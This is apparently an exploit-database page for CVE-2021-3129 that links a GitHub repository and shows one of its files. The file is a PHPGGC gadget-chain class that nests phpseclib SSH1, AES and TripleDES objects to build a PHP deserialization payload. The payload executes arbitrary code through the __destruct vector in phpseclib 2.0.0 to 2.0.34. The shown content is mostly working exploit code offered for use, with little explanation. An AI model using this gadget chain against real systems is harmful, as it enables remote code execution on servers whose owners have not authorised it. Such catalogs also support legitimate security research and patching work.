Exploit databaseDownload repository ZIP
GH-ef32bec3baf31bd381c522a7d3810271
axianke/cve-2021-3129
Sources for CVE-2021-3129
36 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
axianke/cve-2021-3129Revision 33f41884f1a9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
gadgetchains/PHPSecLib/RCE/1/chain.php
PHP · 586 bytes<?php
namespace GadgetChain\PHPSecLib;
class RCE1 extends \PHPGGC\GadgetChain\RCE\PHPCode
{
public static $version = '2.0.0 <= 2.0.34';
public static $vector = '__destruct';
public static $author = 'crlf';
public static $information = 'Generates warnings and notices.';
public function generate(array $parameters)
{
$code = $parameters['code'];
return [
new \phpseclib\Net\SSH1(
new \phpseclib\Crypt\AES(
new \phpseclib\Crypt\TripleDES($code)
)
)
];
}
}